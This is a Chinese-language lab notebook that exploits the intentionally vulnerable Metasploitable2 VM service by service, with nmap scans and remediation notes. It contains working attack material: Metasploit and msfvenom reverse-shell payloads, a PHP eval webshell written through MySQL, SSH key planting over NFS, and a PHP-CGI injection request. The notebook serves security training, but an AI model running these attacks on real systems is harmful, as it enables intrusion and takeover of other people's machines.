Metasploitable2笔记
Author:p1ng
tips:
setg命令可以将LHOST.LPORT等参数设置为全局变量,而不是局限于这一个模块内;
首先对靶机进行初步的探测扫描,可以检测到目标靶机开启的端口
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-19 09:35 CST
Nmap scan report for 172.16.1.140
Host is up (0.0035s latency).
Not shown: 65505 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
33190/tcp open status 1 (RPC #100024)
41194/tcp open mountd 1-3 (RPC #100005)
42383/tcp open nlockmgr 1-4 (RPC #100021)
57815/tcp open java-rmi GNU Classpath grmiregistry
MAC Address: 00:0C:29:EF:27:00 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.18 seconds
(rootkali2021)-[~]
# nmap -A -p- 172.16.1.140
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-19 15:25 CST
Nmap scan report for 172.16.1.140
Host is up (0.00076s latency).
Not shown: 65504 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 172.16.1.123
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2023-03-19T05:37:47+00:00; -1h50m03s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_DES_64_CBC_WITH_MD5
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 36047/udp mountd
| 100005 1,2,3 53679/tcp mountd
| 100021 1,3,4 48263/udp nlockmgr
| 100021 1,3,4 51481/tcp nlockmgr
| 100024 1 53113/tcp status
|_ 100024 1 56995/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 9
| Capabilities flags: 43564
| Some Capabilities: Support41Auth, Speaks41ProtocolNew, LongColumnFlag, SupportsTransactions, SwitchToSSLAfterHandshake, SupportsCompression, ConnectWithDatabase
| Status: Autocommit
|_ Salt: bCg[rLf;2(s+yC#$':.t
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2023-03-19T05:37:47+00:00; -1h50m03s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6200/tcp filtered lm-x
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
51481/tcp open nlockmgr 1-4 (RPC #100021)
53113/tcp open status 1 (RPC #100024)
53679/tcp open mountd 1-3 (RPC #100005)
55742/tcp open java-rmi GNU Classpath grmiregistry
MAC Address: 00:0C:29:EF:27:00 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -50m02s, deviation: 2h00m01s, median: -1h50m03s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2023-03-19T01:37:38-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 0.76 ms 172.16.1.140
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.33 seconds
21/tcp ftp
vsftpd2.3.4
method1
通过metaspolit
集成工具平台使用其中的exploit/unix/ftp/vsftpd_234_backdoor
模块进行利用
method2
手动利用,首先我们先正常用ftp
服务连接目标靶机,然后输入用户名root:)
,随便输入一个密码
输入密码进行等待的时候我们用nc
进行连接其6200
端口nc 172.16.1.140 6200
漏洞修复
method1
通过修改vsdtpd.conf
文件,禁止用本地用户进行登入,只能创建vsftpd
的用户或者使用匿名用户进行登入
将local_enable=YES
修改为local_enable=NO
method2(优)
通过iptables
防火墙来进行对6200
端口的流量进行拦截从而进行防护
iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 6200 -j DROP
22/tcp ssh
CVE-2020-15778
简介: 该漏洞主要针对于知道ssh
用户的密码但是不允许进行登入的情况
method1
已知root
用户的密码为123456
此时我们利用scp
命令进行利用
scp 1.txt root:172.16.1.140:'`touch /tmp/test.txt` /tmp'
利用scp
命令将本地的1.txt
文件上传到tmp
目录下,并存为test.txt
参考文献:
https://www.freebuf.com/articles/web/258524.html
22/tcp smtp
method1
通过SMTP
对服务器中的用户名进行枚举
Kali> telnet 172.16.1.140 25
>VRFY sys # 查看目标机器中是否存在这些用户
Kali> smtp-user-enum -M VRFY -U <userlist> -t <target IP> # 通过 smtp-user-enum工具对目标机器的用户进行枚举
参考文献:
https://null-byte.wonderhowto.com/how-to/hack-like-pro-extract-email-addresses-from-smtp-server-0160814/
method2
可以利用sslv2-drown
脚本对smtp
服务进行扫描
smtp.domain
See the documentation for the smtp library. #
111/tcp rpcbind && 2049/tcp nfs
nfs
服务的错误配置(Mis-Configured NFS Share)
method1
Kali> showmount -e 172.16.1.140 # 显示NFS服务器上的挂载信息,也可以限制客户端对NFS服务器的访问情况
Kali> mkdir -p /root/.ssh # 创建一个存储ssh登入公钥私钥的文件夹
Kali> cd /root/.ssh # 进入到/root/.ssh目录
Kali> cat /dev/null > known_hosts # /dev/null:表示将输出重定向到空设备,即不输出任何内容;known_hosts:是保存已知主机密钥的文件名;所以这个命令的作用就是清除known_hosts文件
Kali> ssh-keygen -t rsa -b 4096 # 生成一个密钥文件
> nter file in which to save the key (/root/.ssh/id_rsa): test # 生成的文件命名为 test
Kali> mount -t nfs 172.16.1.140:/ /mnt/ # 将172.16.1.140从根目录下的所有文件挂栽到/mnt目录下
Kali> cp /root/.ssh/test.pub /mnt/root/.ssh # 将生成的test.pub复制到挂载在mnt的目标服务器的ssh私钥目录
Kali> cat test.pub >> authorized_keys # 将test.pub的内容加在authorized_keys文件的后面
Kali> ssh -i /root/.ssh/test root@172.16.1.140 # 用生成的ssh私钥实现无密码登入靶机的
参考文献:
https://computersecuritystudent.com/SECURITY_TOOLS/METASPLOITABLE/EXPLOIT/lesson4/index.html
修复方法:
可以通过NFS服务器上指定/etc/exports
文件来限制共享的目录
139/tcp && 445/tcp samba
CVE-2007-2447(Samba MS_RPC Shell命令注入漏洞)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
method1
Kali> msfconsole # 进入metasploit
msf6> search usermap # 查询Samba MS_RPC shell的模块
msf6> use exploit/multi/samba/usermap_script # 使用这个模块
msf6> set RHOSTS <target> # 设置目标主机的IP
msf6> set LHOST <machine> # 设置监听主机的IP(这一步一定要设置,不能够省略)
修复方法:
通过修改配置文件/etc/samba/smb.conf
注释掉username map script=/etc/samba/scripts/mapusers.sh
1524/tcp backdoor Metasploitable root shell(Ingreslock)
系统的恶意后门
nc 172.16.1.140 1524
telnet 172.16.1.140 1524
修复方式:
先找到该恶意程序的进程号,先将进程kill
,然后再找到源文件,将源文件进行删除
3306/tcp Mysql
MySQL
服务,超级用户空密码,且并没有过滤危险函数
method1
Kali> MySQL -u root -h 172.16.1.140 # 远程连接mysql服务,并且以超级用户的身份登入
MySQL> select load_file('/etc/passwd'); # 利用load_file函数,查看本地文件
没有对mysql
的危险函数做限制,可以通过into outfile
等函数配合http
服务get shell
Mysql> show global variables like '%secure%'; # 查看secure_file_priv选项有没有值,secure_file_priv参数若没有值则可以进行操作,若不为空则需要通过配置文件对其进行修改
Mysql> select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/test.php"; # 写入一句话木马到Web目录下
method2
通过修改日志文件的存储位置和文件的后缀,从而getshell
Mysql> show variables like "%general%"; # 查看general_log的具体选项
Mysql> set global general_log='ON'; # 如果general_log参数未开启的时候,利用set语句将其打开
Mysql> set global general_log_file = '/var/www/html/test.php'; # 将其日志文件设置于Web目录下,并且将其后缀改为php让web服务器解析
Mysql> select "<?php @eval($_POST[1]);?>"; # select一下一句话木马,此时一句话木马就会出现在test.php文件中即可getshell
# metasploitable2中的MySQL并没有这个选项
修复方式
- 修改
secure_file_priv
参数的值,限制into outfile/load_file
函数可执行的目录,修改配置文件my.cnf
Kali> vim /etc/mysql/my.cnf # 修改mysql的配置文件
vim> security_file_priv = '/tmp' # 限制为tmp目录下
- 修改
my.cnf
文件中的general_log
参数,将其修改为general_log=0
5432/tcp postgresql
CVE-2007-3280
method1
Kali> msfconsole
msf6> use exploit/linux/postgres/postgres_payload
msf6> set RHOSTS 172.16.1.140
msf6> exploit
参考资料
https://www.cvedetails.com/cve/CVE-2007-3280/
8180/tcp HTTP
Tomcat
method1
Kali> msfconsole
msf6> use auxiliary/scanner/http/tomcat_mgr_login # 辅助模块,用于爆破tomcat服务器的用户名和密码然后进去其后台部署War包进行getshell
msf6> setg RHOSTS 172.16.1.140
msf6> setg RPORT 8180
msf6> exploit # 进行爆破,如果爆破不成功则调整PASS_FILE参数和USERPASS_FILE
msf6> use exploit/multi/http/tomcat_mgr_deploy # 利用Tomcat管理页面的缺陷进行部署和执行恶意WAR文件
msf6> set HttpUsername tomcat
msf6> set HttpPassword tomcat
msf6> exploit
method2(手工复现)
Kali> msfvenom -p java/jsp_shell_reverce_tcp LHOST=172.16.1.123 LPORT=8848 -f war > shell.war # 利用msfvenom工具以java/jsp_shell_reverce_tcp为载荷172.16.1.123为监听IP,8848为监听端口生成一个War格式的木马
msf6> use exploit/multi/handler
msf6> set payload java/jsp_shell_reverce_tcp
msf6> exploit
Kali> firefox
点击Tomcat Manager
选项,然后输入tomcat
的用户名和密码
成功进入后台后,将我们利用msfvenom
生成的war
包部署进去,即可在目录中看见新增的路径,我们点击路径,开启监听的handler
模块即可收到反弹的shell
修复方法
- 更改
Tomcat
服务的默认用户名与密码 - 禁用
Tomcat
管理页面或者限制其访问权限
3632/tcp Distccd
原理: Discccd
是一个分布式编译器,用于加速编译过程,其客户端和服务器之间使用了没有身份验证的RCE
协议进行通信
msf6> use exploit/unix/misc/distcc_exec
msf6> set payload payload/cmd/unix/reverse
msf6> set RHOSTS 172.16.1.140
msf6> set LHOST 172.16.1.123
msf6> exploit
6667/tcp6 697/tcp Unreal lRcd
UnreallRcd
后门漏洞
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload payload/cmd/unix/reverse
msf6> set RHOSTS 172.16.1.140
msf6> set LHOST 172.16.1.123
msf6> exploit
1099/tcp Java rmi
利用Java JMX
服务的漏洞进行远程代码执行.Java JMX
是Java
的一个管理和监控API
,允许开发人员检测和管理Java
应用程序
msf6> use exploit/multi/misc/java_jmx_server
msf6> set payload payload/cmd/unix/reverse
msf6> set RHOSTS 172.16.1.140
msf6> set LHOST 172.16.1.123
msf6> exploit
修复方法:
修改Java JMX
的配置文件,禁止远程访问或指定访问控制策略,避免未授权访问
- 找到
Java JMX
的配置文件jmxremote.access
和jmxremote.password
,通常位于\<JAVA_HOME>/jre/lib/management
目录下,如果该目录下没有这两个文件,则需要手动创建 - 修改
jmxremote.access
文件,添加一下内容,表示只允许本地访问:
monitorRolereadonly
controlRolereadwrite \
create javax.management.monitor.*,javax.management.timer.* \
unregister
- 修改
jmxremote.password
文件,添加以下内容,表示只允许本地访问
monitorRolemonitorRolePassword
controlRole controlRolePassword
# 其中 monitorRolePassword 和 controlRolePassword 是密码,需要设置为强密码,避免被猜解或者暴力破解
- 修改
Java JMX
的启动参数,以加载修改后的配置文件,在启动Java
引用程序时需要添加一下参数
-Docm.sun.management.jmxremote.port=<port> \
-Dcom.sun.management.jmxremote.ssl=false \
-Dcom.sun.management.jmxremote.authenticate=true \
-Dcom.sun.management.jmxremote.password.file=<path>/jmxremote.password \
-Dcom.sun.management.jmxremote.access.file=<path>/jmxremote.access
PHP CGI参数注入执行漏洞
在PHP 5.4.0
至PHP 5.4.3
版本中,攻击者可以在Web
服务器上执行任意代码.攻击者通过构造特定的HTTP
请求,向服务器注入任意命令,并在服务器上执行这些命令
msf6> use exploit/multi/http/php_cgi_arg_injection
msf6> set RHOSTS 172.16.1.140
msf6> set LHOST 172.16.1.123
msf6> exploit
method2(手工)
curl 172.16.1.140/?-s # 显示源代码
这里拓展一下PHP
的参数
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次数该文件
-h和-?显示帮助
我们可以通过-d
指定auto_prepend_file
来指导任意文件包含漏洞,同时需要将allow_url_include
设置为on
执行任意代码
Payload : ?-d allow_url_include=on -d auto_prepend_file=php://input
将=与:进行URL编码得,空格用+代替
Payload: -?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
我们构造数据包
POST /?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 172.16.1.140
Content-Length: 34
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Origin: http://172.16.1.140
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.16.1.140/?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<?php echo shell_exec('whoami');?>
修复方法:
修改http.conf
文件,找到\<Directory/>
增加如下内容
RewriteEngine on
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$[NC]
RewriteRule ^(.*) $1?[L]
参考资料
https://www.cnblogs.com/virgree/p/5411582.html
https://blog.csdn.net/weixin_45605352/article/details/115283390